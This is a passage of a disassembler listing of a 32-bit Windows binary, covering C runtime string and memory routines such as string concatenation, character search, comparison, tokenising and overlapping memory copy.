loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 2690292h nop test eax, eax jnz short loc_41BDF2 call near ptr 26908FFh nop jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short 